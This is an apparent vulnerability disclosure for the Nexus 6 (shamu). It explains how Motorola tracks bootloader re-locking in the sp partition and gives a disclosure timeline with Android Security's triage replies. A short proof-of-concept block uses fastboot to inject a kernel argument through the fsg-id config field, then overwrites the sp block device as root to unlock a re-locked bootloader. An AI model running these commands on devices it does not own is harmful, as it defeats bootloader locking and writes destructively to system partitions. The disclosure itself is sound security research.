A-62345923

## Technical Details

Back in 2013, Dan Rosenberg found a vulnerability in the Motorola TrustZone kernel, allowing him to unlock the Motorola bootloader. In his blog, Dan depicted how Motorola implemented bootloader locking (also relevant for shamu), which can be summarized as the following state machine:

 .---------.
| Factory |       .----------.
| Locked  | --->  | Unlocked |  <---.  (3)
---------' (1)   -----.----'      |
|      .-----------.
----> | Re-locked |
(2)  -----------'


The transitions are as follows:

1. The user first unlocks the device. The WARRANTYVOID qfuse is blown. This transition is governed by TEE thus it cannot be done from the Platform OS.
2. User re-locks the device. Bootloader writes an entry under the sp partition, with an HMAC produced by TEE.
3. User unlocks the device. Bootloader removes that entry.

Conclusion: An unrestricted root (as one could gain by exploiting CVE-2016-10277) can unlock a re-locked bootloader by invalidating the sp partition.

 $fastboot getvar all ... (bootloader) secure: yes (bootloader) unlocked: no (bootloader) securestate: locked (bootloader) iswarrantyvoid: yes (bootloader) mot_sst: 2$ fastboot oem config fsg-id "a initrd=0x11000000,1519997"
$fastboot flash foo initroot.cpio.gz$ fastboot continue

$adb shell shamu:/ # echo 0 > /dev/block/platform/msm_sdcc.1/by-name/sp shamu:/ # reboot bootloader$ fastboot getvar all
...


## Timeline

• 30-Aug-17
: Public disclosure (alephsecurity.com).
• 15-Aug-17
: Public disclosure (USENIX WOOT '17).
• 14-Aug-17
• 11-Jul-17
: Vulnerability triaged by Android Security:

“…We’ve reviewed the information provided and our conclusion is that given the privileges required to execute the attack, we do not believe that there is an elevation of privilege that would meet the severity bar for inclusion in an Android security bulletin…”

• 02-Jul-17
: Researcher:

“…I agree with your observation that being able to write on the sp partition, like we achieve with CVE-2016-10277, means running in an SELinux domain that allows for block device writes, thus being able to flash the listed partitions. However, due to secure boot, the attacker cannot make the system successfully boot with a tampered bootloader chain (SBL, ABOOT). Trying to do so ends in the EDL. Although it’s possible for Nexus 6 to load with a tampered boot and recovery images, they are expected to run a TZ state less capable than of ABOOT => code running in ABOOT can be more capable than code running in the platform OS => having ABOOT unlocked (which may increase its capabilities, allow more commands, etc) may elevate the privileges of the adversary, comparing with what he can achieve by having full control over boot/recovery/system…”

• 29-Jun-17
: Android Security:

“…we confirm that in this scenario an attacker could unlock the bootloader. However, the prerequisite of execution as root and in an SELinux domain that allows for block device writes would also be sufficient to overwrite the bootloader chain, boot, and system image partition on a Nexus 6. Therefore, there is no elevation of privilege beyond that which the attacker could already accomplish. Please let us know if you feel otherwise…”

• 13-Jun-17
: Vulnerability triaged by Android Security (initial triage) (Moderate).
• 12-Jun-17